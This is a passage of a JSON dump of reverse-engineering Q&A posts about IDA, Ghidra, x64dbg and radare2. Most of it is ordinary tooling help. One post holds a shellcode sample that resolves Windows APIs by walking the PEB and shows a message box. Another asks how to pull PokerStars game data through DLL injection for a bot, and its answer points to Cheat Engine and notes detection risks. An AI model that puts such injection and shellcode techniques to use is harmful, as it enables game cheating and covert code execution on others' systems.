        "Answer": "<p>Sadly, Hex-Rays control flow structuring algorithms are a black box with exactly two knobs on the outside of it: the two options that you listed. If those two knobs don't improve the behavior you're experiencing, then there's nothing you can do as a user. Not even writing a plugin; control flow structuring is only mentioned once in the SDK, and none of the relevant data structures are defined in the headers. You're going to have to live with whatever Hex-Rays gives you, unfortunately.</p>\n<p>(More technically: the behavior you're seeing with combining the two if-statements into a compound is very fundamental to the way that Hex-Rays structures control flow, and there's nothing you can do to influence it short of reverse engineering the control flow structuring implementation and reimplementing it. Even if you do that (which I have), you only have very limited influence to prevent the compound from being re-created during the next phase of ctree analysis.)</p>\n"
    },
    {
        "Id": "29850",
        "CreationDate": "2022-01-11T16:45:21.137",
        "Body": "<p>I'm struggling with a patch in an x86 .exe. I replaced a MOV with a JMP but everytime I run the debugger, the address gets modified as a sort of rebasing:</p>\n<pre><code>BE E4732201      MOV ESI,App.012273E4\n</code></pre>\n<p>should be replaced by</p>\n<pre><code>E9 9C380000      JMP App.0104EC75\n</code></pre>\n<p>It's funny because it is anyway a relativ jump, where I literally want to jump 0x389C from execution pointer. Instructions have also same size so I suppose there is no problem with filling or alignment..?\nI've done other modifications in the HEX and haven't got a problem so far. But with this one, everytime it runs, it changes my 9C380000 literal to something like 9C38xx00 where &quot;xx&quot; varies depending on the execution or if running on Olly or IDA. Even funnier, the instruction right above my patch is:</p>\n<pre><code>E9 A1380000      JMP App.0104EC75\n</code></pre>\n<p>Which is the exactly the same jump, to the same location (there fore plus 0x05 on the offset) and this one works. It's original code and does not get changed at all during execution but my jump does. Same OP code and same destination. Any thoughts why that is?</p>\n",
        "Title": "IDA/Olly changing address bytes after patch during debugging on x86",
        "Tags": "|patching|hex|",
        "Answer": "<p>As peter ferrie pointed out you have a relocation entry there<br />\nwhich can be inferred by the opcode and address const</p>\n<p><code>BE E4732201 =&gt; mnem addr =&gt; mov esi,  012273e4</code></p>\n<p>if the load address changed the 0122 (HIGH_LOW) part will change<br />\naccording to the load address  so your patch gets modified .</p>\n<p>i statically rebased an image from its preferred ImageBase</p>\n<p><a href=\"https://i.stack.imgur.com/NMjTr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NMjTr.png\" alt=\"enter image description here\" /></a></p>\n<p>after changing image base  notice the relocation address starts from<br />\n0xxxxxaa while instruction address starts from 0xxxxxa9<br />\nnotice original bytes in the second snap (relocation table entry)</p>\n<p>image is from ghidra</p>\n<p><a href=\"https://i.stack.imgur.com/6gCxH.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6gCxH.jpg\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "29854",
        "CreationDate": "2022-01-11T20:41:27.433",
        "Body": "<p>in file i find</p>\n<pre><code>mov rcx,qword ptr ds:[404320]\n</code></pre>\n<p>when I wanted to see what is at the address 404320\ni press &quot;follow in dump&quot; and i got a choice between &quot;constant: file.0000000000404320&quot;\nand &quot;value: [0000000000404320]&quot;\nand if i press constant, i see:</p>\n<pre><code>0000000000404320  30 2D 40 00 00 00 00 00 00 00 00 00 00 00 00 00  0-@.............  \n</code></pre>\n<p>&quot;30 2D 40 00 00 00 00 00&quot; highlighted</p>\n<p>if i press value, i see:</p>\n<pre><code>0000000000402D30  FF FF FF FF FF FF FF FF D2 15 40 00 00 00 00 00  \u00ff\u00ff\u00ff\u00ff\u00ff\u00ff\u00ff\u00ff\u00d2.@.....  \n0000000000402D40  20 2D 40 00 00 00 00 00 00 00 00 00 00 00 00 00   -@.............  \n</code></pre>\n<p>&quot;D2 15 40 00 00 00 00 00 20 2D 40 00 00 00 00 00&quot; highlighted</p>\n<p>please can you explain the difference between a value and a constant?\nI am new to this topic. just in case, i know assembler. and if not enough information has been provided tell me.</p>\n",
        "Title": "please explain the difference between the two types of follow",
        "Tags": "|x64dbg|",
        "Answer": "<p>&quot;Constant&quot; in this case does not refer to the common programming term &quot;a value that should not be altered by the program during normal execution&quot;</p>\n<p>In this scenario &quot;constant&quot; means the memory address is directly holding the value of the variable.</p>\n<p>The &quot;value&quot; term means the memory address is pointing to another memory address, and that 2nd memory address is pointing to the value.</p>\n<p>You can see this as the memory address for the &quot;value&quot; follow is <strong>00 40 2D 30</strong> which is the value shown in the &quot;constant&quot; follow <strong>30 2D 40 00</strong>\nThe order of numbers is reversed due numbers being stored in little endian format.</p>\n<p>To fully understand whether this is a &quot;constant&quot; or a &quot;value&quot; data type would need to see the complete function and how the rcx value gets used.</p>\n<p>For a simple example let's take this C code:</p>\n<pre><code>int main()\n{\n    int v = 128;\n    int i = v;\n    int *j = &amp;i;\n    \n    i=i+2;\n    *j = i+4;\n    return 0;\n}\n</code></pre>\n<p>Here we can think of &quot;i&quot; as being the &quot;constant&quot; which is when the memory address representing &quot;i&quot; contains the actual value.</p>\n<p>However, the memory address representing &quot;j&quot; is type &quot;value&quot; pointing to another memory address that contains the actual value. In real programs these &quot;value&quot; types will often point to complicated structures, which can require a detailed analysis of how it is used to work out the original data types.</p>\n<p>In this simplistic example the assembly is something like this:</p>\n<pre><code>sub     rsp, 24\nmov     DWORD PTR v$[rsp], 128                    ; 00000080H\nmov     eax, DWORD PTR v$[rsp]\nmov     DWORD PTR i$[rsp], eax\nlea     rax, QWORD PTR i$[rsp]\nmov     QWORD PTR j$[rsp], rax\nmov     eax, DWORD PTR i$[rsp]\nadd     eax, 2\nmov     DWORD PTR i$[rsp], eax\nmov     eax, DWORD PTR i$[rsp]\nadd     eax, 4\nmov     rcx, QWORD PTR j$[rsp]\nmov     DWORD PTR [rcx], eax\nxor     eax, eax\nadd     rsp, 24\nret     0\n</code></pre>\n<p>Here we see the example of the &quot;constant&quot;</p>\n<pre><code>mov     eax, DWORD PTR i$[rsp]\nadd     eax, 2\nmov     DWORD PTR i$[rsp], eax\n</code></pre>\n<p>We can see the value at memory address $i[rsp] is loaded into eax, 2 is added to it, then the value is directly stored back in the memory address via</p>\n<pre><code>mov DWORD PTR $i[rsp], eax\n</code></pre>\n<p>In this case we would use the &quot;constant&quot; follow on <strong>DWORD PTR $i[rsp]</strong> to find the value.</p>\n<p>However, with j we are instead getting a memory address held at <strong>$j[rsp]</strong> which points to the memory location of i. Instead of updating <strong>DWORD PTR $j[rsp]</strong> this time we are instead setting the value at the memory location held there.</p>\n<pre><code>mov     eax, DWORD PTR i$[rsp]\nadd     eax, 4\nmov     rcx, QWORD PTR j$[rsp]\nmov     DWORD PTR [rcx], eax\n</code></pre>\n<p>In this scenario we would use the &quot;value&quot; follow on <strong>$j[RSP]</strong> to find the value.</p>\n"
    },
    {
        "Id": "29859",
        "CreationDate": "2022-01-12T21:02:54.917",
        "Body": "<p>I have a function with the following header sub_45BD46@eax(char a1@bl, int a2@esi, int a3), my question is: I am right that  sub_45BD46@eax means the result value is in eax?</p>\n",
        "Title": "IDA decompiler syntax: for function int __usercall sub_45BD46@ <eax>(char a1@<bl>, int a2@<esi>, int a3)",
        "Tags": "|ida|x86|decompilation|",
        "Answer": "<p>Yes. If you have Hex Rays decompiler you can mouse over the decompiled version and will show RET is EAX.</p>\n<p><a href=\"https://i.stack.imgur.com/zYvNl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zYvNl.png\" alt=\"enter image description here\" /></a></p>\n<p>Generally in most x86 calling conventions return values are in eax.</p>\n<p>However need to be aware without debugging symbols available the automatically generated parameters and return value in IDA Pro in the sub name are not always correct.</p>\n<p>Further details are available <a href=\"https://hex-rays.com/products/ida/support/idadoc/1361.shtml\" rel=\"nofollow noreferrer\">here</a></p>\n"
    },
    {
        "Id": "29860",
        "CreationDate": "2022-01-12T22:26:57.080",
        "Body": "<p>hi there I hope you doing well</p>\n<p>lately, I have searched about ildasm and how to protect my DLLs from reverse engineering,</p>\n<p>so I found some great open source projects (ConfuseEx..), it works when I tried the reverse engineering my dll with ILSpy it didn't show my code and because of my curiosity I start searching how that happened,</p>\n<p>I found the reverse engineering depends on the metaData of the DLL to show Extract the code with ildasm.exe so this lead me to ask some questions I didn't find answers to them,</p>\n<p>did the ConfuseEx corrupt metaData of the assemblies to protect them from reverse Engineering?</p>\n<p>is metaData used to define the functions of the assembly to other assemblies to use them? (without defined functions in metaData we cant access the DLL function)</p>\n<p>can I protect my function content by corrupting metaData variable definitions and all these defined functions?</p>\n",
        "Title": "what is metaData of assemblies and what is used for",
        "Tags": "|assembly|.net|c#|",
        "Answer": "<p>Type typical use of meta data in .NET assemblies is documented <a href=\"https://docs.microsoft.com/en-us/dotnet/standard/metadata-and-self-describing-components\" rel=\"nofollow noreferrer\">here</a></p>\n<p>Metadata describes every type and member defined in your code in a language-neutral manner. Metadata stores the following information:</p>\n<ul>\n<li>Description of the assembly.</li>\n<li>Identity (name, version, culture, public key)</li>\n<li>The types that are exported.</li>\n<li>Other assemblies that this assembly depends on</li>\n<li>Security permissions needed to run.</li>\n<li>Description of types.</li>\n<li>Name, visibility, base class, and interfaces implemented.</li>\n<li>Members (methods, fields, properties, events, nested types).</li>\n<li>Attributes</li>\n<li>Additional descriptive elements that modify types and members.</li>\n</ul>\n<p>It is common for .NET obfuscators to modify this metadata to increase the complexity of reverse engineering.</p>\n<p>ConfuserEx uses many different techniques for .NET obfsucation. The most basic for preventing opening with IlDasm is applying an attribute &quot;<a href=\"https://github.com/mkaring/ConfuserEx/wiki/Anti-IL-Dasm-Protection\" rel=\"nofollow noreferrer\">SuppressIldasmAttribute</a>&quot; to the assembly. However nearly all modern decompilers will ignore this attribute, it doesn't add meaningful protection on its own.</p>\n<p>In relation to metadata ConfuserEx also uses &quot;<a href=\"https://github.com/mkaring/ConfuserEx/wiki/Invalid-Metadata-Protection\" rel=\"nofollow noreferrer\">Invalid Metadata Protection</a>&quot; where invalid data is added to the meta data, which can prevent older decompilers opening the assembly but modern decompilers already work around this protection.</p>\n<p>Full list of protections ConfuserEx uses is documented <a href=\"https://github.com/mkaring/ConfuserEx/wiki/Protections\" rel=\"nofollow noreferrer\">here</a></p>\n"
    },
    {
        "Id": "29870",
        "CreationDate": "2022-01-13T16:01:18.047",
        "Body": "<p>I'm trying to learn more about reverse engineering, and I've found some shellcode embedded in a C program:</p>\n<pre><code>   unsigned char shellcode[] =\n        &quot;\\x48\\x83\\xEC\\x28\\x48\\x83\\xE4\\xF0\\x48\\x8D\\x15\\x66\\x00\\x00\\x00&quot;\n        &quot;\\x48\\x8D\\x0D\\x52\\x00\\x00\\x00\\xE8\\x9E\\x00\\x00\\x00\\x4C\\x8B\\xF8&quot;\n        &quot;\\x48\\x8D\\x0D\\x5D\\x00\\x00\\x00\\xFF\\xD0\\x48\\x8D\\x15\\x5F\\x00\\x00&quot;\n        &quot;\\x00\\x48\\x8D\\x0D\\x4D\\x00\\x00\\x00\\xE8\\x7F\\x00\\x00\\x00\\x4D\\x33&quot;\n        &quot;\\xC9\\x4C\\x8D\\x05\\x61\\x00\\x00\\x00\\x48\\x8D\\x15\\x4E\\x00\\x00\\x00&quot;\n        &quot;\\x48\\x33\\xC9\\xFF\\xD0\\x48\\x8D\\x15\\x56\\x00\\x00\\x00\\x48\\x8D\\x0D&quot;\n        &quot;\\x0A\\x00\\x00\\x00\\xE8\\x56\\x00\\x00\\x00\\x48\\x33\\xC9\\xFF\\xD0\\x4B&quot;\n        &quot;\\x45\\x52\\x4E\\x45\\x4C\\x33\\x32\\x2E\\x44\\x4C\\x4C\\x00\\x4C\\x6F\\x61&quot;\n        &quot;\\x64\\x4C\\x69\\x62\\x72\\x61\\x72\\x79\\x41\\x00\\x55\\x53\\x45\\x52\\x33&quot;\n        &quot;\\x32\\x2E\\x44\\x4C\\x4C\\x00\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x42\\x6F&quot;\n        &quot;\\x78\\x41\\x00\\x48\\x65\\x6C\\x6C\\x6F\\x20\\x77\\x6F\\x72\\x6C\\x64\\x00&quot;\n        &quot;\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x00\\x45\\x78\\x69\\x74\\x50\\x72\\x6F&quot;\n        &quot;\\x63\\x65\\x73\\x73\\x00\\x48\\x83\\xEC\\x28\\x65\\x4C\\x8B\\x04\\x25\\x60&quot;\n        &quot;\\x00\\x00\\x00\\x4D\\x8B\\x40\\x18\\x4D\\x8D\\x60\\x10\\x4D\\x8B\\x04\\x24&quot;\n        &quot;\\xFC\\x49\\x8B\\x78\\x60\\x48\\x8B\\xF1\\xAC\\x84\\xC0\\x74\\x26\\x8A\\x27&quot;\n        &quot;\\x80\\xFC\\x61\\x7C\\x03\\x80\\xEC\\x20\\x3A\\xE0\\x75\\x08\\x48\\xFF\\xC7&quot;\n        &quot;\\x48\\xFF\\xC7\\xEB\\xE5\\x4D\\x8B\\x00\\x4D\\x3B\\xC4\\x75\\xD6\\x48\\x33&quot;\n        &quot;\\xC0\\xE9\\xA7\\x00\\x00\\x00\\x49\\x8B\\x58\\x30\\x44\\x8B\\x4B\\x3C\\x4C&quot;\n        &quot;\\x03\\xCB\\x49\\x81\\xC1\\x88\\x00\\x00\\x00\\x45\\x8B\\x29\\x4D\\x85\\xED&quot;\n        &quot;\\x75\\x08\\x48\\x33\\xC0\\xE9\\x85\\x00\\x00\\x00\\x4E\\x8D\\x04\\x2B\\x45&quot;\n        &quot;\\x8B\\x71\\x04\\x4D\\x03\\xF5\\x41\\x8B\\x48\\x18\\x45\\x8B\\x50\\x20\\x4C&quot;\n        &quot;\\x03\\xD3\\xFF\\xC9\\x4D\\x8D\\x0C\\x8A\\x41\\x8B\\x39\\x48\\x03\\xFB\\x48&quot;\n        &quot;\\x8B\\xF2\\xA6\\x75\\x08\\x8A\\x06\\x84\\xC0\\x74\\x09\\xEB\\xF5\\xE2\\xE6&quot;\n        &quot;\\x48\\x33\\xC0\\xEB\\x4E\\x45\\x8B\\x48\\x24\\x4C\\x03\\xCB\\x66\\x41\\x8B&quot;\n        &quot;\\x0C\\x49\\x45\\x8B\\x48\\x1C\\x4C\\x03\\xCB\\x41\\x8B\\x04\\x89\\x49\\x3B&quot;\n        &quot;\\xC5\\x7C\\x2F\\x49\\x3B\\xC6\\x73\\x2A\\x48\\x8D\\x34\\x18\\x48\\x8D\\x7C&quot;\n        &quot;\\x24\\x30\\x4C\\x8B\\xE7\\xA4\\x80\\x3E\\x2E\\x75\\xFA\\xA4\\xC7\\x07\\x44&quot;\n        &quot;\\x4C\\x4C\\x00\\x49\\x8B\\xCC\\x41\\xFF\\xD7\\x49\\x8B\\xCC\\x48\\x8B\\xD6&quot;\n        &quot;\\xE9\\x14\\xFF\\xFF\\xFF\\x48\\x03\\xC3\\x48\\x83\\xC4\\x28\\xC3&quot;;\n</code></pre>\n<p>This shellcode is then written into process memory and executed.</p>\n<p>How do I convert the shellcode into something to where I can load it into Ghidra? Everything I read online says &quot;Open the shellcode in a disassembler&quot;, but the disassembler doesn't recognize it as a valid program if I just save the data to a file. What do I need to do to see what this shellcode actually does?</p>\n",
        "Title": "How to load shellcode into Ghidra",
        "Tags": "|ghidra|shellcode|",
        "Answer": "<p>you have a string you cant load a string as is into a disassembler\nyou may need to un-escape them into binary\nfor example<br />\n<code>&quot;\\x48&quot; is &quot;H&quot;</code></p>\n<p>if you have a compiler compile and call it via a function pointer<br />\nuse a scripting language like python make a binary blob and load it as raw into disassembler</p>\n<p>use a disassembling framework like capstone combined with python to disassemble</p>\n<pre><code>&gt;&gt;&gt; list(Cs(CS_ARCH_X86, CS_MODE_32).disasm(b&quot;\\x48\\x83\\xEC\\x28\\x48\\x83\\xE4\\xF0\\x48\\x8D\\x15\\x66\\x00\\x00\\x00&quot;,0))\n    [\n&lt;CsInsn 0x0 [48]:           dec eax&gt;, \n&lt;CsInsn 0x1 [83ec28]:       sub esp, 0x28&gt;, \n&lt;CsInsn 0x4 [48]:           dec eax&gt;, \n&lt;CsInsn 0x5 [83e4f0]:       and esp, 0xfffffff0&gt;, \n&lt;CsInsn 0x8 [48]:           dec eax&gt;, \n&lt;CsInsn 0x9 [8d1566000000]: lea edx, [0x66]&gt;\n]\n</code></pre>\n<p><a href=\"http://shell-storm.org/online/Online-Assembler-and-Disassembler/\" rel=\"nofollow noreferrer\">use an online service like shell storm to simply paste and disassemble</a></p>\n<p><a href=\"https://i.stack.imgur.com/jexQB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jexQB.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "29875",
        "CreationDate": "2022-01-14T22:10:06.613",
        "Body": "<p>I'm currently reverse-engineering an old game from 2003 to extend its functionality. I have now found what I am looking for and since it was written in C++ I'm trying to re-create the used classes. I have found the constructor call for an important class and now need to know how large it is in memory (since Ghidra tries to set the struct size way too small so I get weird things like accessing fields at this[6]). However, before the call to the constructor is made, no memory is allocated, rather the instruction <code>LEA ECX,[EBP + 0xffff98b4]</code> is executed (where ECX will be the 'this' pointer in the constructor). I don't expect that the explanation of what adding a huge value to EBP actually does would help me in finding out how large the object is, however it has intrigued me enough to wanting to know what it actually does, I hope someone can help</p>\n",
        "Title": "Understanding the meaning of EBP + 0xffff98b4",
        "Tags": "|disassembly|windows|x86|c++|ghidra|",
        "Answer": "<p>that is a negative number</p>\n<pre><code>C:\\&gt;python -c &quot;print(hex(0xffff98b4-2**32))&quot;\n-0x674c\n</code></pre>\n<p>or in other words</p>\n<pre><code>C:\\&gt;python -c &quot;print(hex(2**32 - 0x674c))&quot;\n0xffff98b4\n</code></pre>\n"
    },
    {
        "Id": "29878",
        "CreationDate": "2022-01-16T02:45:06.637",
        "Body": "<p>I am learning reverse engineering tools.<br />\nI notice that when you need to patch some file (at least in visual mode) you need to overwrite instructions, i.e. when using <kbd>Shift</kbd>+<kbd>A</kbd> in visual mode or <kbd>I</kbd> in visual mode.</p>\n<p>Is there a way to insert asm code without the need to overwrite some other?</p>\n",
        "Title": "How to insert asm code in file without overwriting in Radare2",
        "Tags": "|radare2|",
        "Answer": "<p>To accomplish this you first need to create or find a code cave and insert your code then jump back to where you were.</p>\n<p>I'm going to put an example here. I'm not familiar with PE files, but I will do an example of ARMv7 and ELF.</p>\n<pre><code>0xc8  movs r0, r1\n0xca  b 0xd8\n0xcc  b nowhere\n0xd8  0000 empty bytes to 0xff\n0x100 mov r3, r4\n</code></pre>\n<p>From above if I write an instruction(s) from address <code>0xd8</code> all will be executed until I branch back to <code>0xcc</code>. In ELF, you will need to edit the program headers and change the flags to executable, so all can be possible or just use a code cave in which program headers are executable. Inserting bytes changes offsets, and it's possible the program won't have an entry point. Overwriting works most of the time if what you're patching is simple and needs only a few instructions.</p>\n"
    },
    {
        "Id": "29886",
        "CreationDate": "2022-01-18T10:57:23.863",
        "Body": "<p>In IDA Pro, when you create a custom struct, apply it to a local variable, and try to check every member of it in the decompiler mode, when you hover your mouse on the variable, it only prints limited number of values of struct members based on the screen size, so the rest of them go out of screen:</p>\n<p><a href=\"https://i.stack.imgur.com/GewoB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/GewoB.png\" alt=\"enter image description here\" /></a></p>\n<p>How can I view the value of every member of the struct then? When I hover to <code>field_38</code> for example, it just prints its offset and doesn't tell me its value.</p>\n<p>Using IDA Pro 7.6.</p>\n",
        "Title": "How to print the value for every member of a custom struct in IDA Pro? (In Decompiler mode the members go off screen)",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Use <a href=\"https://hex-rays.com/products/ida/support/idadoc/1518.shtml\" rel=\"nofollow noreferrer\">Locals View</a> in Debugger\u21feDebugger Windows\u21feLocals window.</p>\n"
    },
    {
        "Id": "29888",
        "CreationDate": "2022-01-18T12:11:37.040",
        "Body": "<p>gdb allows setting arbitrary convenience variables:</p>\n<pre><code>set $a = &quot;test&quot;\nset $b = 3\np $a # =&gt; &quot;test&quot;\np $b # =&gt; 3\n</code></pre>\n<p>Is there a way to do something similar in radare2? I'd like to be able to e.g.:</p>\n<pre><code>set $len = 0x100\npx `$len` # =&gt; does px 0x100\necho $len # =&gt; echos 0x100\n</code></pre>\n",
        "Title": "radare2 convenience variables",
        "Tags": "|radare2|",
        "Answer": "<p>in r2 there's the concept of 'flags' which is basically a way to associate a name to a number.</p>\n<p>So in that case you do:</p>\n<pre><code>f test = 0x100\npx test\n</code></pre>\n"
    },
    {
        "Id": "29914",
        "CreationDate": "2022-01-23T23:51:58.023",
        "Body": "<p>A jump table I am reversing uses relative offsets to both data and functions. These relative offsets are 32-bit integers added to the address that the value is stored at. Does Ghidra support typing these as relative addresses for generating references (like how you can type a value as an absolute address by pressing <kbd>P</kbd>)?</p>\n<p>For example:</p>\n<pre><code>                                 INT_00010f00                                            \n           00010f00 49 ff ff ff       int          FFFFFF49h\n</code></pre>\n<p>Is actually a reference to <code>0x00010f00 + 0xffffff49 = 0x00010e49</code></p>\n",
        "Title": "How to type data as a relative address in Ghidra?",
        "Tags": "|ghidra|",
        "Answer": "<p>You can always set it manually to the specific address from the reference dialog (available under <kbd>R</kbd>). There you can providing the correct address calculated by adding <code>base address</code> and an <code>offset</code>. If you have more than one, you can automate it via <code>python</code> script.</p>\n<p>I've recorded a video detailing such situation in action <a href=\"https://www.youtube.com/watch?v=FvH7b_qLmbU\" rel=\"nofollow noreferrer\">https://www.youtube.com/watch?v=FvH7b_qLmbU</a></p>\n"
    },
    {
        "Id": "29915",
        "CreationDate": "2022-01-24T09:30:35.477",
        "Body": "<p>I have a <code>.dmp</code> file for <code>googleupdate.exe</code> process. I wanted to check in WinDbg this process has a certificate or not in order to detect this process has modified or not because this process has tried access <code>lsass.exe</code> multiple time.</p>\n<p>How can I check the integrity and also maliciousness of this process in WinDbg? I have just a memory dump from that process and nothing more. I should check it in WinDbg.</p>\n",
        "Title": "Extract certificate information of a process from memory dump",
        "Tags": "|memory|memory-dump|digital-forensics|",
        "Answer": "<p>In short, the PE loader does not explicitly load up the certificate details into the new process at run-time.</p>\n<p>In the binary, the certificates are referenced via the IMAGE_DIRECTORY_ENTRY_SECURITY directory; but they are not in a section that is mapped into virtual memory. The data is instead appended to the file.</p>\n<p>You might get lucky and find the cert data has been mapped via a memory mapped file, or if you captured a full kernel dump you might have a copy of it. Otherwise you will have to try and source the file from the computer.</p>\n<p>Your best bet is to manually compare the code-in-memory to a valid copy of googleupdate.</p>\n<p>Also keep in mind that the source binary could be completely valid, but the behavior changed at run-time (via code injection, etc.). So even if you could easily validate the integrity of the certificate, it wouldn't detect rogue threads, hooked functions, etc.</p>\n"
    },
    {
        "Id": "29917",
        "CreationDate": "2022-01-24T11:23:01.497",
        "Body": "<p>I'm totally new to this reverse engineering stuff.</p>\n<p>I'm working on my own project and trying to parse poker games from PokerStars application. I have already done with injecting my DLL to the app, but I don't know what to do next.</p>\n<p>I got module base address, created a hexdump function, and tried to go along process virtual memory, but it takes enormous amount of time. For now, I only found a region of memory where some source code is located. I've seen on GitHub project of PokerStars bot, so I know that it's possible to find in memory data I need, but I really don't know how. Can you give me advice?</p>\n<p>Also, the game is open in another window, so I suppose the main program creates another thread for it. So how can I find the base address of this thread?</p>\n",
        "Title": "How to extract specific data from memory",
        "Tags": "|memory|dll-injection|",
        "Answer": "<p>In order to &quot;extract&quot; (the specific) data from another process you need the correct memory address(es) and preferably it's datatype(s) and size of the datatype. (e.g. signed/unsigned int at location 0x[....])</p>\n<p>You should also consider (depending on the datatype and algorithm), that such addresses can change during runtime (and/or upon starting your program)</p>\n<p>Some addresses and their (context) values are fixed, and can always reside on the same location in memory. (e.g. mapping, declared constants, etc.)\n(However a new build/patch of the program can change such addresses)</p>\n<p>Be careful of possible pointers that you need to follow, until you got the\nfinal address where the value resides.</p>\n<p>Some addresses may also be inaccessible, invalid or restricted to read from.\n(Depending on OS, etc.)\n(e.g. this might be the case if it's a java process or differences between x86 and x86_64 processes)</p>\n<p>You don't need to inject a DLL in order to just read data from a foreign process.</p>\n<p>Injecting a DLL is primarily used to execute (your) code in that process' space, which includes handles, etc.</p>\n<p>Please be careful if you intent to (over)write values in foreign processes.\nThis can be detected and might crash/damage processes/files if not careful.</p>\n<p>For now, without much effort and hassle, I recommend using CheatEngine to learn and get the right &quot;base address&quot; for your desired value.\n(Careful: CheatEngine might inject in foreign processes and might be detected)</p>\n<p>Infos and how to:</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Cheat_Engine\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/Cheat_Engine</a></p>\n<p><a href=\"https://www.wikihow.com/Use-Cheat-Engine\" rel=\"nofollow noreferrer\">https://www.wikihow.com/Use-Cheat-Engine</a></p>\n<p>If you keep learning memory structure, mapping, PE header, etc.\nyou will be able find a way to automate the process of getting the right base address upon each start. (until a new build/patch has been made)</p>\n"
    },
    {
        "Id": "29936",
        "CreationDate": "2022-01-26T15:17:36.347",
        "Body": "<p>The arguments being passed to the open syscall at runtime in a program I'm debugging seem to be as follows:</p>\n<pre><code>open(&quot;SOMESTRING&quot;, 0xa01, 0x1b6);\n</code></pre>\n<p>These were retrieved using lldb on OSX 12.1 Monterey by setting a breakpoint at the open syscall and then printing out the args like this:</p>\n<pre><code>(lldb) x/s $rdi\n0x6000022b4150: &quot;SOMESTRING&quot;\n(lldb) p/x $rsi\n(unsigned long) $5 = 0x0000000000000a01\n(lldb) p/x $rdx\n(unsigned long) $6 = 0x00000000000001b6\n</code></pre>\n<p>Using 'man 2 open', I'm reading a description of the arguments and then I'm going to the appropriate header files to check the hex value of each flag to try to determine what the parameters mean. The problem is, nothing seems to be matching up.</p>\n<p>From the open manpage:</p>\n<pre><code> The flags specified for the oflag argument must include exactly one of the following file access modes:\n\n   O_RDONLY        open for reading only\n   O_WRONLY        open for writing only\n   O_RDWR          open for reading and writing\n\n In addition any combination of the following values can be or'ed in oflag:\n\n   O_NONBLOCK      do not block on open or for data to become available\n   O_APPEND        append on each write\n   O_CREAT         create file if it does not exist\n   O_TRUNC         truncate size to 0\n   O_EXCL          error if O_CREAT and the file exists\n   O_SHLOCK        atomically obtain a shared lock\n   O_EXLOCK        atomically obtain an exclusive lock\n   O_DIRECTORY     restrict open to a directory\n   O_NOFOLLOW      do not follow symlinks\n   O_SYMLINK       allow open of symlinks\n   O_EVTONLY       descriptor requested for event notifications only\n   O_CLOEXEC       mark as close-on-exec\n   O_NOFOLLOW_ANY  do not follow symlinks in the entire path.\n</code></pre>\n<p>Now when I head over to fcntl.h, and look at the value for these flags, none of them have the hex value 0xa00. I'm failing to see how OR'ing any of these flags together would ever reproduce a value of 0xa01. I'm having similar trouble with the mode arg. Could anyone help me understand what I'm doing wrong?</p>\n",
        "Title": "Retrieving args from open syscall",
        "Tags": "|arguments|syscall|",
        "Answer": "<p>should be some thing like this compiles fine in <a href=\"https://godbolt.org/z/bzEofj5n5\" rel=\"nofollow noreferrer\">godbolt.org</a></p>\n<pre><code>#include &lt;fcntl.h&gt;\nint main (void) {\n    open(\n        &quot;foo&quot;,\n        //1      | 0x200   | 0x800 \n        O_WRONLY | O_TRUNC | O_NONBLOCK,\n        //0x100 | 0x80    | 0x40    | 0x20    | 0x4     | 0x2\n        S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH \n        );\n}\n</code></pre>\n<p>disassembled</p>\n<pre><code>main:\n push   rbp\n mov    rbp,rsp\n mov    edx,0x1b6\n mov    esi,0xa01\n mov    edi,0x402004\n mov    eax,0x0\n call   401030 &lt;open@plt&gt;\n mov    eax,0x0\n pop    rbp\n ret    \n</code></pre>\n"
    },
    {
        "Id": "29947",
        "CreationDate": "2022-01-28T17:35:08.753",
        "Body": "<p>I'm reversing the following smart pointee-like MSVC <code>class Buffer : public Referencable</code> with IDA / Hexrays:</p>\n<pre><code>struct Referencable\n{\n    int m_refs;\n};\nstruct Buffer : Referencable\n{\n    void* m_pData;\n};\n</code></pre>\n<p>This class apparently has no vftable, which I deduce from its (base) constructor not storing any vftable-like structure:</p>\n<pre><code>Buffer *__thiscall Buffer::ctor(Buffer *this)\n{\n    Referencable::ctor(this);\n    this-&gt;m_pData = NULL;\n    return this;\n}\nReferencable *__thiscall Referencable::ctor(Referencable *this)\n{\n    // &lt;-- no vftable assignment here or anywhere --&gt;\n    this-&gt;m_refs = 0;\n    return this;\n}\n</code></pre>\n<p>When this object is being deleted, I see the following method:</p>\n<pre><code>Buffer *__thiscall Buffer::ddtor(Buffer *this, char flags)\n{\n    Buffer::dtor(this);\n    if ( (flags &amp; 1) != 0 )\n        operator delete(this);\n    return this;\n}\nvoid __thiscall Buffer::dtor(Buffer *this)\n{\n    free(this-&gt;m_pData);\n    Referencable::dtor(this);\n}\nvoid __thiscall Referencable::dtor(Referencable *this)\n{\n    ; // nop\n}\n</code></pre>\n<p><sup>(I can assure that this is indeed the deletion method belonging to this class due to how the capturing smart pointer calls it)</sup></p>\n<p>According to igorsk's <a href=\"http://www.openrce.org/articles/full_view/23\" rel=\"nofollow noreferrer\">Reversing Microsoft Visual C++ Part II: Classes, Methods and RTTI</a> article, <code>Buffer::ddtor</code> seems to be a deletion destructor, which however are only available to classes with <em>virtual destructors</em>:</p>\n<blockquote>\n<ol start=\"6\">\n<li>Deleting Destructors</li>\n</ol>\n<p><strong>When class has a virtual destructor, compiler generates a helper function - deleting destructor</strong>. Its purpose is to make sure that a proper _operator delete_ gets called when destructing a class. Pseudo-code for a deleting destructor looks like following:</p>\n<pre><code>virtual void * A::'scalar deleting destructor'(uint flags)\n{\n  this-&gt;~A();\n  if (flags&amp;1) A::operator delete(this);\n};\n</code></pre>\n</blockquote>\n<p>Thus my class seems to contradict another statement in that article, mentioning a virtual deletion destructor call which does not exist in my assembly (the deletion destructor above is called directly by the smart pointer logic):</p>\n<blockquote>\n<p>If A's destructor is virtual, it's invoked virtually:</p>\n<pre><code>mov ecx, 